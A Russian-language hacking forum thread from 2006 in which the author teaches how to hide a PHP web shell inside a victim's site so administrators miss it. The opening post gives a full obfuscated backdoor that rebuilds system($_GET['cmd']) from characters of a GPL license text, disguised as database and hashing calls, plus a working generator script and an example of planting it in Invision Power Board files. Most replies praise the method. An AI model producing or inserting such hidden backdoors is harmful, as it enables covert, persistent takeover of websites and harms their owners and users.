ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Скрываем свой Php код в скрипте жертвы.
  #1  
Старый 30.11.2006, 15:43
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию Скрываем свой Php код в скрипте жертвы.

Думаю, многие задумывались над вопросом - как бы запрятать в php-скрипте, будь то форум, сайт или гостевая книга, свой код (шелл или что еще), как бы "протроянить" его.
Дописать просто <?php system($_GET[cmd]); ?>, <?php include($_GET[inc]); ?> или даже <?php eval(base64_decode("...")); ?> - тупо, слишком заметно и неоригинально =)
Будет админ бегло просматривать скрипт по какой-либо причине, заметит кусок вида eval(base64_decode(..)) и сразу поймет, что тут выполняется какой-то php-код, да еще и закодированный в base64. Не порядок Нам надо как-либо преобразовать, например, код system($_GET[cmd]), чтобы не было заметно, что выполняются какие-то команды.
Самый незаметный, по моему мнению, способ - объявить переменную с каким-либо текстом, например,
PHP код:
$license "            GNU GENERAL PUBLIC LICENSE
               Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                _[Preamble]_

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow."

(типа кусок лицензии GNU GPL) и потом выдирать посимвольно оттуда символы, собирать их в строку и отдать ее на выполнение не обычным eval, а, например, с помощью вызова preg_replace с модификатором 'e':
PHP код:
@preg_replace("#(\d+)#e"$i"31337"); 
, где $i - наш код. preg_replace найдет в строке '31337' один или более символов (регулярное выражение \d+) и произведет в ней замену согласно коду $i, который она перед этим выполнит; в добавок еще и будут подавлены все сообщения об ошибках с помощью оператора @ в PHP. То есть это полностью аналогично @eval($i), за исключением того, что в $i не должно быть переносов строки.
Собирать код в строку будем разными способами. Например,
PHP код:
$i .= $license[123]; // банально :)
$i $i.$license[123]; // разновидность предыдущего
$i join('', array($i$license[123])); // извращаемся с join() :) 
мало того, все это еще обернем в вызов какой-либо функции, смысл которой близок к выполняемому скрипту. Например, если это гостевая книга с обилием вызовов mysql_query и mysql_fetch_array, то мы код запишем в виде
PHP код:
@mysql_query($i implode("", array($i$license[48])));
@
mysql_fetch_array($i .= $license[205]); 
Опять же @ подавляет все ошибки, а они неизбежно будут, т.к. переданные параметры отнюдь не то, что ожидают эти функции =)
Как результат - PHP просто выполнит выражения, которые стоят в аргументах, а сама функция упадет с ошибкой, которую мы скроем. Еще добавим всякие функции для работы со строками, например, chop,nl2br,md5 для вида .
После всех извращений с php, вызов system($_GET[cmd]) принимает вид:
PHP код:
$license " $            GNU GENERAL PUBLIC LICENSE
               Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                _[Preamble]_

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow."
;
@
mysql_close($i join("", array($i$license[48])));
crypt($i $i.$license[73]);
nl2br($i $i.$license[48]);
nl2br($i join("", array($i$license[78])));
md5($i $i.$license[46]);
crypt($i implode("", array($i$license[205])));
md5($i .= $license[80]);
crypt($i join("", array($i$license[1])));
md5($i join("", array($i$license[321])));
md5($i implode("", array($i$license[8])));
@
convert_cyr_string($i $i.$license[13]);
nl2br($i implode("", array($i$license[339])));
@
mysql_query($i join("", array($i$license[322])));
@
mysql_close($i join("", array($i$license[685])));
md5($i $i.$license[123]);
@
mysql_query($i .= $license[205]);
crypt($i .= $license[113]);
nl2br($i implode("", array($i$license[685])));
@
mysql_close($i $i.$license[331]);
@
mysql_query($i implode("", array($i$license[82])));
chop($i .= $license[1285]);
@
preg_replace("#(\d+)#e"$i"31337"); 
В качестве примера использования рассмотрим Invision Power Board 2.1.7
Поступим так - текст "лицензии" gnu впихнем в init.php, часть кода в index.php, а часть - в sources/action_public/help.php
Таким образом, при вызове /index.php?act=Help&cmd=[COMMAND] мы получим шелл =)
(Естественно, для использования этого в реальных форумах желательно составить код без юзания GET'а, а, например, брать код из заголовка Referer или что-нибудь в этом роде).
Результат показан на картинке:


Естественно, писал весь этот код я не сам, а при помощи скрипта-перекодировщика, которому нужно скормить текст (для "выдирания" оттуда символов и их конкатенации) и код для кодирования. Выдаст он примерно то, что показано выше, только в различных вариациях + результат выполнения сгенерированного кода.
Скрипт-перекодировщик:
PHP код:
<?
$license 
= <<<EOF
 $            GNU GENERAL PUBLIC LICENSE
               Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                _[Preamble]_

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
EOF;

$text "system(\$_GET['cmd']);";

function 
process_text($base_name$out_name$base$text)
{
  
preg_match("#\.(\d+) #"microtime(), $d);
  
mt_srand($d[1]);

  
$functions = array( '@mysql_query''@mysql_close''@mysql_fetch_array''crypt''chop''nl2br''@convert_cyr_string''md5' );

  
$encode '$'.$base_name.' = "'.str_replace('"''\\'.'"'$base).'";'."\n";

  for(
$i=0;$i<strlen($text);$i++)
  {

    
$p strpos($base$text[$i]);
    if(
$p===false)
      die(
"Conversion impossible (can't find match for '".$text[$i]."')");

    
$func $functionsmt_rand()%count($functions) ];

    switch(
mt_rand()%4)
    {
    case 
0:
      
$encode .= $func.'($'.$out_name.' .= $'.$base_name.'['.$p.']);'."\n";
      break;
    case 
1:
      
$encode .= $func.'($'.$out_name.' = $'.$out_name.'.$'.$base_name.'['.$p.']);'."\n";
      break;
    case 
2:
      
$encode .= $func.'($'.$out_name.' = join("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
      break;
    case 
3:
      
$encode .= $func.'($'.$out_name.' = implode("", array($'.$out_name.', $'.$base_name.'['.$p.'])));'."\n";
      break;
    }

    
preg_match("#\.(\d+) #"microtime(), $d);
    
mt_srand($d[1]);
  }

  switch(
mt_rand()%3)
  {
  case 
0:
    
$encode .= '@preg_replace("#(\d+)#e", $'.$out_name.', "31337");'."\n";
    break;
  case 
1:
    
$encode .= '@preg_replace("#(\w+)#e", $'.$out_name.', "mysql");'."\n";
    break;
  case 
2:
    
$encode .= '@preg_replace("#(\s+)#e", $'.$out_name.', "\n");'."\n";
    break;
  }

  return 
$encode;
}

$c process_text("license""i"$license$text);

echo 
"<pre>$c</pre>";
echo 
"<p>";
eval(
$c);
?>
 
Ответить с цитированием

  #2  
Старый 30.11.2006, 15:55
Аватар для 1ten0.0net1
1ten0.0net1
Time out
Регистрация: 28.11.2005
Сообщений: 547
Провел на форуме:
2320925

Репутация: 1348


По умолчанию

Имхо, способо пригоден для больших движков, где это можно создать отдельным файлом. На самописных - не вариант.
__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.
 
Ответить с цитированием

  #3  
Старый 30.11.2006, 15:57
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Поэтому и рассмотрен ИПБ +)
+ код можно сократить, выдирая по два-три символа сразу
А вообще это больше информация к размышлению, чем руководство к действию.
 
Ответить с цитированием

  #4  
Старый 30.11.2006, 16:00
Аватар для r0
r0
Постоянный
Регистрация: 17.07.2005
Сообщений: 475
Провел на форуме:
1665310

Репутация: 488
По умолчанию

Если на сервере vBulletin или еще что-то подобное то какая же там GPL ? =Ъ
столько текста еще палевней будет, имсхо
// я про то, что многие скрипты не включают текст лицензии, а скажем только ссылку на этот текст.
 
Ответить с цитированием

  #5  
Старый 30.11.2006, 16:03
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

GPL для примера взято =)
Подходит любой текст (можно уложиться в 1-2 строки) с символами набора "system($_GET[cmd]);"

Причем пихать это все одним блоком зачем?
Можно раскидать эти строчки кода по всему телу 20-30-килобайтного скрипта. Не так палевно, как кажется.
Зато если разбираться, что они делают - хрен поймешь
 
Ответить с цитированием

  #6  
Старый 30.11.2006, 16:12
Аватар для gemaglabin
gemaglabin
Banned
Регистрация: 01.08.2006
Сообщений: 725
Провел на форуме:
7681825

Репутация: 4451


По умолчанию

Вообще затея отличная,я бы даже сказал просто и гениально.Не придирайтесь к примеру GPL там или нет,Грейт молодцом а тему имхо закрепить.
 
Ответить с цитированием

  #7  
Старый 30.11.2006, 17:06
Аватар для bopoh13
bopoh13
Участник форума
Регистрация: 31.10.2006
Сообщений: 212
Провел на форуме:
1073612

Репутация: 50
Thumbs up

За пример, С П А С И Б О!

Надо, наконец, с SMF-движком попробовать!
 
Ответить с цитированием

  #8  
Старый 30.11.2006, 18:01
Аватар для bopoh13
bopoh13
Участник форума
Регистрация: 31.10.2006
Сообщений: 212
Провел на форуме:
1073612

Репутация: 50
Smile

Цитата:
Сообщение от Green_Bear  
Молодец, +.
Добавил в карту статей.
Ты так быстро работоспособность проверил Я удивлен!
 
Ответить с цитированием

  #9  
Старый 16.08.2007, 22:52
Аватар для M-K
M-K
Новичок
Регистрация: 16.08.2007
Сообщений: 13
Провел на форуме:
27993

Репутация: 1
По умолчанию

Статья понравилась, вдохновляет. Но по-момеу в новых версиях Ipb есть утилиты для проверки целостности файлов Ipb форума... по крайней мере их количество. Хотя конечно можно выкрутиться.
 
Ответить с цитированием

  #10  
Старый 16.08.2007, 23:24
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Есть такая вещь как проверка контрольной суммы.
В граматно настроенной системе ты и бита не куда не пихнешь.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Коды состояния HTTP - Коды ошибок http сервера D=P=CH= MOD= *nix 6 15.10.2006 20:47
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ